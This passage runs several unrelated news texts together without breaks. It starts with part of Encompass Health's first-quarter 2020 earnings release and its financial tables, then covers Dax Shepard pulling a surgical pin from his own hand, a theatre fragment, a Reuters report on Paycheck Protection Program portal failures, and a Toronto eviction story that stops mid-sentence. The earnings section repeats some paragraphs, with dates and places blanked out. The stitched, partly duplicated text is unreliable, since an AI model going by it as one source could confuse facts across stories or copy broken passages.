per discharge primarily resulted from an increase in reimbursement rates offset by prior period cost report adjustments. Revenue reserves related to bad debt as a percent of revenue decreased 20 basis points to 1.2% primarily due to the continued favorable resolution of medical claims reviews. The decrease in outpatient revenue resulted from the suspension of hospital-based outpatient services in mid-March 2020 and the closure of certain hospital-based outpatient programs in 2019. Revenue growth resulted from volume growth and an increase in net patient revenue per discharge. New-store discharge growth resulted from joint ventures in ( ) and ( ), and wholly owned hospitals in ( ) and ( ). New-store growth also resulted from a joint venture hospital in changing from the equity method of accounting to a consolidated entity effective . Growth in net patient revenue per discharge primarily resulted from an increase in reimbursement rates offset by prior period cost report adjustments. Revenue reserves related to bad debt as a percent of revenue decreased 20 basis points to 1.2% primarily due to the continued favorable resolution of medical claims reviews. The decrease in outpatient revenue resulted from the suspension of hospital-based outpatient services in and the closure of certain hospital-based outpatient programs in 2019. Adjusted EBITDA - The decrease in Adjusted EBITDA primarily resulted from higher salaries and benefits expense, as well as the increased purchase and use of medical supplies in March 2020 due to COVID-19. Salaries and benefits increased as a percent of revenue primarily due to the ramp up of new stores and overtime paid to employees as a result of increased volumes early in the first quarter. In addition, employee productivity decreased in March 2020 due to COVID-19 pandemic related items. Other income within the segment decreased $4.4 million primarily due to the year-over-year change in the mark-to-market adjustment on the Company's non-qualified 401(k) liability, which is offset in general and administrative expenses. Home health and hospice segment results Growth Q1 2020 Q1 2019 Dollars Percent Net operating revenues: (In Millions) Home health $ 224.8 $ 219.5 $ 5.3 2.4 % Hospice 48.0 34.4 13.6 39.5 % Total segment revenue $ 272.8 $ 253.9 $ 18.9 7.4 % Home Health Metrics (Actual Amounts) Admissions 42,476 37,944 4,532 11.9 % Same-store admissions growth 0.2 % Episodes 68,652 63,626 5,026 7.9 % Same-store episode growth (2.6) % Revenue per episode $ 2,909 $ 3,057 $ (148) (4.8) % (In Millions) Adjusted EBITDA $ 41.0 $ 46.3 $ (5.3) (11.4) % Revenue - Revenue growth resulted from volume growth. New-store admissions growth was primarily due to the acquisition of Alacare on July 1, 2019 . Revenue per episode decreased primarily due to implementation of PDGM on January 1, 2020 , the effects of which were exacerbated by the COVID-19 pandemic, and the patient mix of the former Alacare locations. Revenue per episode in the first quarter of 2020 benefited from the reversal of a $1.6 million reserve for a Zone Program Integrity Contractor audit. Hospice revenue increased 39.5%, with approximately 75% of the increase resulting from the acquisition of Alacare. - Revenue growth resulted from volume growth. New-store admissions growth was primarily due to the acquisition of Alacare on . Revenue per episode decreased primarily due to implementation of PDGM on , the effects of which were exacerbated by the COVID-19 pandemic, and the patient mix of the former Alacare locations. Revenue per episode in the first quarter of 2020 benefited from the reversal of a reserve for a Zone Program Integrity Contractor audit. Hospice revenue increased 39.5%, with approximately 75% of the increase resulting from the acquisition of Alacare. Adjusted EBITDA - The decrease in Adjusted EBITDA primarily resulted from COVID-19 pandemic related impacts on patient volumes, staff productivity and medical supplies, lower reimbursement rates under PDGM, and increased salaries and wages per full-time equivalent. The segment's administrative costs also increased year over year due to the implementation of PDGM and the Review Choice Demonstration, as well as an increase in sale force full-time equivalents. General and administrative expenses Q1 2020 % of Consolidated Revenue Q1 2019 % of Consolidated Revenue (In Millions) General and administrative expenses, excluding stock-based compensation and transaction costs $ 28.5 2.4% $ 33.4 3.0% General and administrative expenses decreased as a percent of consolidated revenue primarily due to the $4.4 million year-over-year change in the mark-to-market adjustment on the Company's non-qualified 401(k) liability (an offset to the negative impact on the inpatient rehabilitation segment's operating results). COVID-19 pandemic The Company continues to take actions to enhance its operational and financial flexibility and ensure its long-term sustainability. Recently, the Company's executive team voluntarily reduced their base compensation for six months. In addition, the Company has: secured secondary sources of PPE and other medical supplies; aligned staffing with patient demand; amended its senior credit facility to provide covenant relief; developed plans for reducing capital expenditures; and suspended its authorized share repurchase program. After lengthy consideration, the Company has developed plans to manage labor costs in response to lower patient volumes via furloughs, changes to compensation structures and workforce reductions. Shareholder and other distributions In February 2020, the Company settled the final put of the Home Health Holdings rollover shares and exercise of stock appreciation rights for approximately $263 million of cash and approximately $46 million of Encompass Health common stock. During the first quarter of 2020, the Company repurchased 80,304 shares of its common stock for $4.9 million. The Company suspended stock repurchases in mid-March 2020. In the first quarter of 2020, the Company paid a quarterly cash dividend of $0.28 per share on its common stock and declared a quarterly cash dividend of $0.28 per share that was paid in April 2020. Balance sheet and liquidity The Company's primary sources of liquidity are cash on hand, cash flows from operations, and borrowings under its revolving credit facility. As of March 31,2020, the Company had approximately $105 million in cash and approximately $613 million available to it under its $1.0 billion revolving credit facility. The Company does not face near-term refinancing risk, as the amounts outstanding under its credit agreement do not mature until 2024, and its bonds all mature in 2023 and beyond. The Company's leverage ratio at the end of the first quarter of 2020 was 3.5x. To further enhance its liquidity and ensure availability under its credit agreement, in April 2020, the Company amended its credit agreement primarily to provide covenant relief due to business disruptions from the COVID-19 pandemic. The amendment included, among other things, the carve-out of the COVID-19 pandemic from the definition of material adverse effect for 364 days and modifications to the interest coverage and leverage ratios under the agreement. Guidance Given the rapidly changing operating conditions related to the COVID-19 pandemic, the Company cannot accurately estimate the effects it may have on its full-year 2020 financial results. As a result, the Company withdrew its 2020 guidance and five-year growth targets in a Current Report on Form 8-K filed on April 16, 2020. Earnings conference call and webcast The Company will host an investor conference call at 9:00 a.m. Eastern Time on Wednesday, April 29, 2020, to discuss its results for the first quarter of 2020. For reference during the call, the Company will post certain supplemental information at http://investor.encompasshealth.com. The conference call may be accessed by dialing 877 587-6761 and giving the pass code 1397274. International callers should dial 706 679-1635 and give the same pass code. Please call approximately ten minutes before the start of the call to ensure you are connected. The conference call will also be webcast live and will be available for on-line replay at http://investor.encompasshealth.com by clicking on an available link. About Encompass Health As a national leader in integrated healthcare services, Encompass Health (NYSE: EHC) offers both facility-based and home-based patient care through its network of inpatient rehabilitation hospitals, home health agencies and hospice agencies. With a national footprint that includes 134 hospitals, 245 home health locations and 83 hospice locations in 37 states and Puerto Rico, the Company is committed to delivering high-quality, cost-effective integrated care across the healthcare continuum. Driven by a set of shared values, Encompass Health is ranked as one of Fortune's 100 Best Companies to Work For. For more information, visit encompasshealth.com, or follow us on Twitter and Facebook. Other information The information in this press release is summarized and should be read in conjunction with the Company's Quarterly Report on Form 10-Q for the quarter ended March 31, 2020 (the "March 2020 Form 10Q"), when filed, as well as the Company's Current Report on Form 8-K filed on April 28, 2020 (the "Q1 Earnings Form 8K"), to which this press release is attached as Exhibit 99.1. In addition, the Company will post supplemental information today on its website at http://investor.encompasshealth.com for reference during its April 29, 2020 earnings call. The financial data contained in the press release and supplemental information include non-GAAP financial measures, including the Company's adjusted earnings per share, leverage ratio, Adjusted EBITDA, and adjusted free cash flow. Reconciliations to their most comparable GAAP measure are included below, in the supplemental information, or in the Q1 Earnings Form 8-K. Readers are encouraged to review the "Note Regarding Presentation of Non-GAAP Financial Measures" included in the Q1 Earnings Form 8-K which provides further explanation and disclosure regarding the Company's use of these non-GAAP financial measures. The Q1 Earnings Form 8-K and, when filed, the March 2020 Form 10-Q can be found on the Company's website at http://investor.encompasshealth.com and the SEC's website at www.sec.gov. Encompass Health Corporation and Subsidiaries Condensed Consolidated Statements of Comprehensive Income (Unaudited) Three Months Ended March 31, 2020 2019 (In Millions, Except per Share Data) Net operating revenues $ 1,182.0 $ 1,124.0 Operating expenses: Salaries and benefits 679.1 620.8 Other operating expenses 159.6 150.1 Occupancy costs 20.2 19.6 Supplies 45.7 40.1 General and administrative expenses 35.6 53.4 Depreciation and amortization 58.8 52.5 Government, class action, and related settlements 2.8 Total operating expenses 1,001.8 936.5 Interest expense and amortization of debt discounts and fees 43.2 37.2 Other expense (income) 1.9 (3.7) Equity in net income of nonconsolidated affiliates (0.8) (2.5) Income from continuing operations before income tax expense 135.9 156.5 Provision for income tax expense 27.1 30.8 Income from continuing operations 108.8 125.7 Loss from discontinued operations, net of tax (0.1) (0.5) Net and comprehensive income 108.7 125.2 Less: Net and comprehensive income attributable to noncontrolling interests (21.7) (22.9) Net and comprehensive income attributable to Encompass Health $ 87.0 $ 102.3 Weighted average common shares outstanding: Basic 98.2 98.4 Diluted 99.6 99.7 Earnings per common share: Basic earnings per share attributable to Encompass Health common shareholders: Continuing operations $ 0.88 $ 1.05 Discontinued operations (0.01) Net income $ 0.88 $ 1.04 Diluted earnings per share attributable to Encompass Health common shareholders: Continuing operations $ 0.87 $ 1.04 Discontinued operations (0.01) Net income $ 0.87 $ 1.03 Amounts attributable to Encompass Health common shareholders: Income from continuing operations $ 87.1 $ 102.8 Loss from discontinued operations, net of tax (0.1) (0.5) Net income attributable to Encompass Health $ 87.0 $ 102.3 Encompass Health Corporation and Subsidiaries Condensed Consolidated Balance Sheets (Unaudited) March 31, 2020 December 31, 2019 (In Millions) Assets Current assets: Cash and cash equivalents $ 104.9 $ 94.8 Restricted cash 56.7 57.4 Accounts receivable 543.4 506.1 Other current assets 79.5 97.5 Total current assets 784.5 755.8 Property and equipment, net 2,003.3 1,959.3 Operating lease right-of-use assets 267.9 276.5 Goodwill 2,312.1 2,305.2 Intangible assets, net 464.7 476.3 Deferred income tax assets 1.5 2.9 Other long-term assets 303.7 304.7 Total assets $ 6,137.7 $ 6,080.7 Liabilities and Shareholders' Equity Current liabilities: Current portion of long-term debt $ 40.2 $ 39.3 Current operating lease liabilities 40.8 40.4 Accounts payable 98.0 94.6 Accrued expenses and other current liabilities 407.2 546.7 Total current liabilities 586.2 721.0 Long-term debt, net of current portion 3,321.9 3,023.3 Long-term operating lease liabilities 235.1 243.8 Other long-term liabilities 163.3 159.9 4,306.5 4,148.0 Commitments and contingencies Redeemable noncontrolling interests 34.0 239.6 Shareholders' equity: Encompass Health shareholders' equity 1,443.9 1,352.2 Noncontrolling interests 353.3 340.9 Total shareholders' equity 1,797.2 1,693.1 Total liabilities and shareholders' equity $ 6,137.7 $ 6,080.7 Encompass Health Corporation and Subsidiaries Condensed Consolidated Statements of Cash Flows (Unaudited) Three Months Ended March 31, 2020 2019 (In Millions) Cash flows from operating activities: Net income $ 108.7 $ 125.2 Loss from discontinued operations, net of tax 0.1 0.5 Adjustments to reconcile net income to net cash provided by operating activities Depreciation and amortization 58.8 52.5 Stock-based compensation 7.1 19.4 Deferred tax expense 1.4 2.6 Other, net 7.7 (0.8) Change in assets and liabilities, net of acquisitions Accounts receivable (36.6) (29.6) Other assets 15.8 (3.8) Accrued payroll (24.0) (14.8) Other liabilities (109.6) 11.7 Net cash used in operating activities of discontinued operations (0.1) (3.0) Total adjustments (79.5) 34.2 Net cash provided by operating activities 29.3 159.9 Cash flows from investing activities: Purchases of property and equipment (83.5) (72.3) Acquisitions of businesses, net of cash acquired (1.1) (13.7) Other, net 1.6 (5.5) Net cash used in investing activities (83.0) (91.5) Cash flows from financing activities: Borrowings on revolving credit facility 330.0 25.0 Payments on revolving credit facility (25.0) (30.0) Dividends paid on common stock (29.0) (28.3) Purchase of equity interests in consolidated affiliates (162.3) Distributions paid to noncontrolling interests of consolidated affiliates (19.1) (19.5) Taxes paid on behalf of employees for shares withheld (15.6) (15.9) Other, net (7.9) (13.0) Net cash provided by (used in) financing activities 71.1 (81.7) Increase (decrease) in cash, cash equivalents, and restricted cash 17.4 (13.3) Cash, cash equivalents, and restricted cash at beginning of period 159.6 133.5 Cash, cash equivalents, and restricted cash at end of period $ 177.0 $ 120.2 Reconciliation of Cash, Cash Equivalents, and Restricted Cash Cash and cash equivalents at beginning of period $ 94.8 $ 69.2 Restricted cash at beginning of period 57.4 59.0 Restricted cash included in other long-term assets at beginning of period 7.4 5.3 Cash, cash equivalents, and restricted cash at beginning of period $ 159.6 $ 133.5 Cash and cash equivalents at end of period $ 104.9 $ 56.1 Restricted cash at end of period 56.7 59.0 Restricted cash included in other long-term assets at end of period 15.4 5.1 Cash, cash equivalents, and restricted cash at end of period $ 177.0 $ 120.2 Encompass Health Corporation and Subsidiaries Supplemental Information Earnings Per Share Three Months Ended March 31, 2020 2019 (In Millions, Except Per Share Data) Consolidated Adjusted EBITDA $ 228.0 $ 242.9 Depreciation and amortization (58.8) (52.5) Interest expense and amortization of debt discounts and fees (43.2) (37.2) Stock-based compensation expense (7.1) (19.4) Loss on disposal of assets (0.1) (1.1) 118.8 132.7 Certain items non-indicative of ongoing operating performance: Transaction costs (0.6) Gain on consolidation of Treasure Coast 2.2 SARs mark-to-market impact on noncontrolling interests 0.8 Change in fair market value of equity securities (2.5) 0.9 Government, class action, and related settlements (2.8) Payroll taxes on SARs exercise (1.5) (0.2) Pre-tax income 114.2 133.6 Income tax expense (27.1) (30.8) Income from continuing operations (1) $ 87.1 $ 102.8 Basic shares 98.2 98.4 Diluted shares 99.6 99.7 Basic earnings per share (1) $ 0.88 $ 1.05 Diluted earnings per share (1) $ 0.87 $ 1.04 (1) Income from continuing operations attributable to Encompass Health Encompass Health Corporation and Subsidiaries Supplemental Information Adjusted Earnings Per Share Q1 2020 2019 Earnings per share, as reported $ 0.87 $ 1.04 Adjustments, net of tax: Government, class action, and related settlements 0.02 Mark-to-market adjustments for stock compensation expense 0.06 Income tax adjustments (0.04) (0.05) Change in fair market value of equity securities 0.02 (0.01) Gain on consolidation of Treasure Coast (0.02) Payroll taxes on SARs exercise 0.01 Adjusted earnings per share(1) $ 0.87 $ 1.04 (1) Adjusted EPS may not sum due to rounding. Encompass Health Corporation and Subsidiaries Supplemental Information Adjusted Earnings Per Share For the Three Months Ended March 31, 2020 Adjustments As Reported Gov't, Class Action, & Related Settlements Income Tax Adjustments Change in Fair Market Value of Equity Securities Gain on Consolidation of Treasure Coast Payroll Taxes on SARs Exercise As Adjusted (In Millions, Except Per Share Amounts) Adjusted EBITDA(1) $ 228.0 $ $ $ $ $ $ 228.0 Depreciation and amortization (58.8) (58.8) Government, class action, and related settlements (2.8) 2.8 Interest expense and amortization of debt discounts and fees (43.2) (43.2) Stock-based compensation (7.1) (7.1) Loss on disposal of assets (0.1) (0.1) Change in fair market value of equity securities (2.5) 2.5 Gain on consolidation of Treasure Coast 2.2 (2.2) Payroll taxes on SARs exercise (1.5) 1.5 Income from continuing operations before income tax expense 114.2 2.8 2.5 (2.2) 1.5 118.8 Provision for income tax expense (27.1) (0.7) (4.3) (0.6) 0.6 (0.4) (32.5) Income from continuing operations attributable to Encompass Health $ 87.1 $ 2.1 $ (4.3) $ 1.9 $ (1.6) $ 1.1 $ 86.3 Diluted earnings per share from continuing operations(2) $ 0.87 $ 0.02 $ (0.04) $ 0.02 $ (0.02) $ 0.01 $ 0.87 Diluted shares used in calculation 99.6 (1) See reconciliation of net income to Adjusted EBITDA (2) Adjusted EPS may not sum across due to rounding. Encompass Health Corporation and Subsidiaries Supplemental Information Adjusted Earnings Per Share For the Three Months Ended March 31, 2019 Adjustments As Reported Mark-to- Market Adjustment for Stock Compensation Expense Income Tax Adjustments Transaction Costs Change in Fair Market Value of Equity Securities Payroll Taxes on SARs Exercise As Adjusted (In Millions, Except Per Share Amounts) Adjusted EBITDA(1) $ 242.9 $ $ $ $ $ $ 242.9 Depreciation and amortization (52.5) (52.5) Interest expense and amortization of debt discounts and fees (37.2) (37.2) Stock-based compensation (19.4) 9.6 (9.8) Loss on disposal of assets (1.1) (1.1) Transaction costs (0.6) 0.6 SARs mark-to-market impact on noncontrolling interests 0.8 (0.8) Change in fair market value of equity securities 0.9 (0.9) Payroll taxes on SARs exercise (0.2) 0.2 Income from continuing operations before income tax expense 133.6 8.8 0.6 (0.9) 0.2 142.3 Provision for income tax expense (30.8) (2.4) (5.2) (0.2) 0.2 (38.4) Income from continuing operations attributable to Encompass Health $ 102.8 $ 6.4 $ (5.2) $ 0.4 $ (0.7) $ 0.2 $ 103.9 Diluted earnings per share from continuing operations(2) $ 1.04 $ 0.06 $ (0.05) $ $ (0.01) $ $ 1.04 Diluted shares used in calculation 99.7 (1) See reconciliation of net income to Adjusted EBITDA (2) Adjusted EPS may not sum across due to rounding. Encompass Health Corporation and Subsidiaries Supplemental Information Reconciliation of Net Income to Adjusted EBITDA Three Months Ended March 31, 2020 2019 (In Millions) Net income $ 108.7 $ 125.2 Loss from discontinued operations, net of tax, attributable to Encompass Health 0.1 0.5 Net income attributable to noncontrolling interests (21.7) (22.9) Provision for income tax expense 27.1 30.8 Interest expense and amortization of debt discounts and fees 43.2 37.2 Government, class action, and related settlements 2.8 Depreciation and amortization 58.8 52.5 Loss on disposal of assets 0.1 1.1 Stock-based compensation expense 7.1 19.4 Transaction costs 0.6 Gain on consolidation of Treasure Coast (2.2) SARs mark-to-market impact on noncontrolling interests (0.8) Change in fair market value of equity securities 2.5 (0.9) Payroll taxes on SARs exercise 1.5 0.2 Adjusted EBITDA $ 228.0 $ 242.9 Reconciliation of Segment Adjusted EBITDA to Income from Continuing Operations Before Income Tax Expense Three Months Ended March 31, 2020 2019 (In Millions) Total segment Adjusted EBITDA $ 256.5 $ 276.3 General and administrative expenses (35.6) (53.4) Depreciation and amortization (58.8) (52.5) Loss on disposal of assets (0.1) (1.1) Government, class action, and related settlements (2.8) Interest expense and amortization of debt discounts and fees (43.2) (37.2) Net income attributable to noncontrolling interests 21.7 22.9 SARs mark-to-market impact on noncontrolling interests 0.8 Change in fair market value of equity securities (2.5) 0.9 Gain on consolidation of Treasure Coast 2.2 Payroll taxes on SARs exercise (1.5) (0.2) Income from continuing operations before income tax expense $ 135.9 $ 156.5 Encompass Health Corporation and Subsidiaries Supplemental Information Reconciliation of Net Cash Provided by Operating Activities to Adjusted EBITDA Three Months Ended March 31, 2020 2019 (In Millions) Net cash provided by operating activities $ 29.3 $ 159.9 Interest expense and amortization of debt discounts and fees 43.2 37.2 Equity in net income of nonconsolidated affiliates 0.8 2.5 Net income attributable to noncontrolling interests in continuing operations (21.7) (22.9) Amortization of debt-related items (1.4) (1.0) Distributions from nonconsolidated affiliates (1.0) (2.1) Current portion of income tax expense 25.7 28.2 Change in assets and liabilities 154.4 36.5 Cash used in operating activities of discontinued operations 0.1 3.0 Transaction costs 0.6 SARs mark-to-market impact on noncontrolling interests (0.8) Payroll taxes on SARs exercise 1.5 0.2 Change in fair market value of equity securities 2.5 (0.9) Other (5.4) 2.5 Consolidated Adjusted EBITDA $ 228.0 $ 242.9 Encompass Health Corporation and Subsidiaries Supplemental Information Reconciliation of Net Cash Provided by Operating Activities to Adjusted Free Cash Flow Three Months Ended March 31, 2020 2019 (In Millions) Net cash provided by operating activities $ 29.3 $ 159.9 Impact of discontinued operations 0.1 3.0 Net cash provided by operating activities of continuing operations 29.4 162.9 Capital expenditures for maintenance (37.8) (29.6) Distributions paid to noncontrolling interests of consolidated affiliates (19.1) (19.5) Items non-indicative of ongoing operations: Transaction costs and related assumed liabilities 0.6 Cash paid for SARs exercise (inclusive of payroll taxes) 102.1 13.4 Adjusted free cash flow $ 74.6 $ 127.8 For the three months ended March 31, 2020, net cash used in investing activities was $83.0 million and primarily resulted from capital expenditures. Net cash provided by financing activities during the three months ended March 31, 2020 was $71.1 million and primarily resulted from net borrowings on the revolving credit facility offset by the settlement of the final put and exercise of the Home Health Holdings rollover shares and SARs, cash dividends paid on common stock, and distributions paid to noncontrolling interests of consolidated affiliates. For the three months ended March 31, 2019, net cash used in investing activities was $91.5 million and primarily resulted from capital expenditures. Net cash used in financing activities during the three months ended March 31, 2019 was $81.7 million and primarily resulted from cash dividends paid on common stock, distributions paid to noncontrolling interests of consolidated affiliates, taxes paid on behalf of employees for shares withheld under stock compensation arrangements, net debt payments, and repurchases of common stock. Encompass Health Corporation and Subsidiaries Forward-Looking Statements Statements contained in this press release and the supplemental information which are not historical facts, such as those relating to the nature of the COVID-19 pandemic and its impact on Encompass Health's business and financial assumptions, balance sheet and cash flow plans, are forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. In addition, Encompass Health, through its senior management, may from time to time make forward-looking public statements concerning the matters described herein. All such estimates, projections, and forward-looking information speak only as of the date hereof, and Encompass Health undertakes no duty to publicly update or revise such forward-looking information, whether as a result of new information, future events, or otherwise. Such forward-looking statements are necessarily estimates based upon current information, involve a number of risks and uncertainties, and relate to, among other things, future events, Encompass Health's plan to repurchase its debt or equity securities, dividend strategies, effective income tax rates, its business strategy, its financial plans, its future financial performance, its projected business results or model, its ability to return value to shareholders, its projected capital expenditures, its leverage ratio, its acquisition opportunities, and the impact of future legislation or regulation. Actual events or results may differ materially from those anticipated in these forward-looking statements as a result of a variety of factors. While it is impossible to identify all such factors, factors which could cause actual events or results to differ materially from those estimated by Encompass Health include, but are not limited to, the continued spread of COVID-19, including the speed, depth, geographic reach and duration of the spread, which could decrease our patient volumes and revenues and lead to staffing and supply shortages and associated cost increases; actions to be taken by the Company in response to the pandemic; the legal, regulatory and administrative developments that occur at the federal, state and local levels; the Company's infectious disease prevention and control efforts; the demand for the Company's services, including based on any downturns in the economy, consumer confidence, or the capital markets and unemployment among family members; the price of Encompass Health's common stock as it affects the Company's willingness and ability to repurchase shares and the financial and accounting effects of any repurchases; any adverse outcome of various lawsuits, claims, and legal or regulatory proceedings involving Encompass Health, including any matters related to yet undiscovered issues, if any, in acquired operations; Encompass Health's ability to attract and retain key management personnel; any adverse effects on Encompass Health's stock price resulting from the integration of acquired operations; potential disruptions, breaches, or other incidents affecting the proper operation, availability, or security of Encompass Health's or its vendors' information systems, including unauthorized access to or theft of patient, business associate, or other sensitive information or inability to provide patient care because of system unavailability as well as unforeseen issues, if any, related to integration of acquired systems; the ability to successfully integrate acquired operations, including realization of anticipated tax benefits, revenues, and cost savings, minimizing the negative impact on margins arising from the changes in staffing and other operating practices, and avoidance of unforeseen exposure to liabilities; Encompass Health's ability to successfully complete and integrate de novo developments, acquisitions, investments, and joint ventures consistent with its growth strategy; increases in Medicare audit activity, including increased use of sampling and extrapolation, resulting in additional unpaid reimbursement claims and an increase in the backlog of appealed claims denials; changes, delays in (including in connection with resolution of Medicare payment reviews or appeals), or suspension of reimbursement for Encompass Health's services by governmental or private payors; changes in the regulation of the healthcare industry at either or both of the federal and state levels, including as part of national healthcare reform and deficit reduction (such as the Patient-Driven Groupings Model for home health, the new patient assessment measures, referred to as "Section GG functional measures," for inpatient rehabilitation, and other payment system reforms) and Encompass Health's ability to adapt operations to those changes; competitive pressures in the healthcare industry and Encompass Health's response thereto; Encompass Health's ability to obtain and retain favorable arrangements with third-party payors; Encompass Health's ability to control costs, particularly labor and employee benefit costs, including group medical expenses; adverse effects resulting from coverage determinations made by Medicare Administrative Contractors regarding its Medicare reimbursement claims and lengthening delays in Encompass Health's ability to recover improperly denied claims through the administrative appeals process on a timely basis; Encompass Health's ability to adapt to changes in the healthcare delivery system, including value-based purchasing and involvement in coordinated care initiatives or programs that may arise with its referral sources; Encompass Health's ability to attract and retain nurses, therapists, and other healthcare professionals in a highly competitive environment with often severe staffing shortages, which may be worsened by the pandemic, and the impact on Encompass Health's labor expenses from potential union activity and staffing shortages; general conditions in the economy and capital markets, including any instability or uncertainty related to armed conflict or an act of terrorism, governmental impasse over approval of the United States federal budget, an increase in the debt ceiling, or an international sovereign debt crisis; the increase in the costs of defending and insuring against alleged professional liability claims and Encompass Health's ability to predict the estimated costs related to such claims; and other factors which may be identified from time to time in Encompass Health's SEC filings and other public announcements, including Encompass Health's Form 10K for the year ended December 31, 2019 and Form 10-Q for the quarter ended March 31, 2020, when filed. Media Contact Casey Lassiter, 205 447-6410 [email protected] Investor Relations Contact Crissy Carlisle, 205 970-5860 [email protected] SOURCE Encompass Health Corp. Related Links http://www.encompasshealth.com Dax Shepard sported a red cast while out and about in Los Angeles on Monday after recently performing a medical procedure on himself while under home quarantine. The 45-year-old actor had his left wrist and forearm stabilized in the crimson cast while spotted in the Los Feliz area. He wore a grey Game Of Thrones tank top that read, 'Stark In The Streets, Wildling In The Sheets' along with grey shorts and grey sneakers. New cast: Dax Shepard stepped out Monday in Los Angeles with a red cast after recently performing a medical procedure himself on his broken left hand Daxs' wife Kristen Bell, 39, shared a video of him Friday removing a pin that was inserted into his broken hand while on the phone with his doctor. 'We're on day "I can do my own surgery" of quarentine [SIC]. @daxshepard,' the Frozen star captioned the clip she posted on her Instagram page. Right off the top, the funnyman pronounced he was about to 'commence the procedure.' 'Oh yep, that feels weird, ohhhh,' Shepard blurted out with the camera zeroed-in on his hand cast. Popular show: The 45-year-old actor wore a grey Game Of Thrones tank top that read, 'Stark In The Streets, Wildling In The Sheets' along with grey shorts and grey sneakers Quarantine surgery: Dax played amateur doctor on himself and pulled a pin out of his broken hand Friday as wife Kristen filmed the procedure 'Yep, it's out,' he assured the doctor as Bell asks: 'Oh wow, how did that feel?' Keeping his attention to the doctor on the phone, he added: 'There's no blood spurting anywhere.' After laughing out loud with the phone still to his ear, the Employee Of The Month star showed off his comedic timing by joking: 'I'm coming for your job doctor.' Following a few more laughs he pronounced: 'I'm going to add pin removal to my resume.' Let's do it: Right off the top, the funnyman pronounced he was about to 'commence the procedure' to the doctor on the phone Brave: 'Oh yep, that feels weird, ohhhh,' Shepard blurted out when he pulled out the pin Mission accomplished: The actor proudly showcased the pin as he assured the doctor on the phone that the pin was out of his hand The patient then reassured the real doctor that he would be in for his follow-up appointment next Friday. 'Am I the worst patient you've ever had?' he asked with a smile on his face before adding, 'I'm texting you non-stop and now I'm pulling pins out that you put in.' One of the couple's kids then asked to see the pin and whether it had any blood on it, to which Bell promptly answered, 'No.' It's still unclear exactly how Shepard broke his hand. Dr. Shepard: 'Am I the worst patient you've ever had?' he asked the doctor with a smile on his face before adding, 'I'm texting you non-stop and now I'm pulling pins out that you put in' Since Gilman has a long-standing affiliation with the Goodman Theatre, the two women devised a plan for Northwestern to showcase the plays that emerged from the program with the collaborative support of the citys most prestigious theater. The performance was to be called Stateville Voices" and staged first at the Goodman, and then at Kennedy-King College in Englewood. Professional actors were to be engaged by the Goodman for the readings; the director was to be Sydney Chatman. By Michelle Price WASHINGTON (Reuters) - U.S. bankers racing to grab $310 billion in fresh small-business aid worked through the night on Tuesday, with many battling ongoing technology problems created by 11th hour changes to the first-come-first-served program, multiple bankers said. The Small Business Administration (SBA) reopened its Paycheck Protection Program on Monday, allowing lenders to resume processing loan applications from small businesses hurt by the novel coronavirus shutdown. A little more than a day after the program reopened, the SBA reported it had approved more than $52 billion spread across more than 475,000 new loans. More than 5,100 lenders had loans approved, with small community banks seeing nearly $30 billion in loans approved so far. The flood of new applications, combined with changes to the SBA loan submission process made on Sunday, caused technology problems for many banks using the SBA's E-Tran processing website, which was not designed to handle so much traffic. "Banks of all sizes worked through the night to process #PPP loans with little success," Rob Nichols, chief executive of the American Bankers Association, the countrys largest bank trade group, said in a post on Twitter on Tuesday. U.S. Treasury Secretary Steven Mnuchin told Fox Business on Tuesday: "We did have systems issues yesterday; we had the SBA team working through the night. I think we've corrected a lot of those issues today." Banks were sitting on hundreds of thousands of backlogged loan applications after the first $349 billion round of funding released on April 3 was exhausted in less than two weeks. To ease the strain on its system and ensure fair access, the SBA restricted the number of applications banks could submit to E-Tran to 350 per hour, causing the system to time-out once that limit was hit. But bankers said they were repeatedly kicked out of E-Tran before they had got near that limit, adding they believed the system was simply overloaded. Some banks had as many as 500 staff working through the small hours in the hopes the system would be less strained, but they still experienced problems. "I have been trying to access E-Tran since 10:30 yesterday. I have not had a connection for longer than a couple minutes. This is not the result of pacing. This is the result of a system that isnt working," Maria Amoruso, an executive at NexTier Bank in the Pittsburgh area, said in a post on Twitter. Story continues The SBA said it has been dealing with unprecedented traffic and has been working around the clock to address the issues. On Tuesday, the SBA barred banks from using robotic systems which mimic human data entry for putting loans into E-Tran. Such programs "burden the processing system and diminish its capabilities," the SBA said. Created as part of a $2.3 trillion congressional economic relief package, the program allows small businesses hurt by the epidemic to apply for government-guaranteed, forgivable loans with participating banks. In the rush to get cash to struggling businesses, the SBA and the U.S. Treasury have been writing the program's rules on the fly, causing paperwork confusion and ongoing technology challenges for lenders. "Im not sure how round 2 of PPP could have been more poorly executed than round one but we lived it today!" tweeted Noah W. Wilcox, chief executive of Grand Rapids State Bank. (Reporting by Michelle Price; Editing by Bernadette Baum and Cynthia Osterman) When Ontarios eviction freeze ends, Chris Rego fears he will be homeless. Rego said he has lived in his Oshawa apartment for more than three years, in a bedroom without a proper door. Im a good tenant. I pay my rent on time or early every month, Rego said. Rego has been on a fixed income for a couple of years due to a physical disability, and after he has paid his rent, he barely scrapes by. He applied for provincial housing many years ago, he said, but is still waiting. So when he came up $200 short on his April rent, he hoped his landlord would let him wait until later to pay the balance. Most months, Im not even able to buy food, Rego said. So in April, I decided, you know what, I cant be kicked out. I need this $200. I hope they understand. Instead, he says his landlord asked him to leave. Regos landlord did not immediately respond to questions from the Star. Rego cant be evicted during the pandemic Ontario announced an eviction freeze March 16. But he is preparing himself for the worst when the freeze lifts, a date for which has not been set. Hes tried to find a place to live to no avail, and has accepted that he may be homeless when landlords can start issuing eviction notices. Im now officially doing a rent strike, he said, adding that unless he saves up now, he wont be able to afford a new place when one is available. Rego thinks hell be OK, having been homeless before, but hes worried about others who have found themselves in the same situation. He knows he isnt the only tenant withholding rent. Bryan Doherty, one of the organizers of Keep Your Rent Toronto, is encouraging people to do just that. What we are seeing now is the COVID-19 crisis colliding with a decades-old housing crisis, Doherty said. Before the eviction freeze was announced, Doherty says tenants were already worried about being able to afford their rent due to the economic fallout of COVID-19. The math just doesnt add up, Doherty said, adding that for many Toronto tenants, government plans like the Canada Emergency Response Benefit (CERB) or Employment Insurance (EI) arent enough to cover rent, food and other necessities. His group is asking the government to stand by tenants, including making sure landlords dont demand repayment or threaten them when the eviction freeze is lifted. He says this is meant to put the pressure upward, so that landlords ask their banks and the government for relief instead of putting the pressure on tenants. No one should have to choose between food and rent. Doherty says when the eviction freeze lifts, landlords will have a decision to make and so will tenants. If what happens is, when the dust clears, landlords make a move to make people homeless en masse because of what we just went through people need to physically intervene on that situation in their 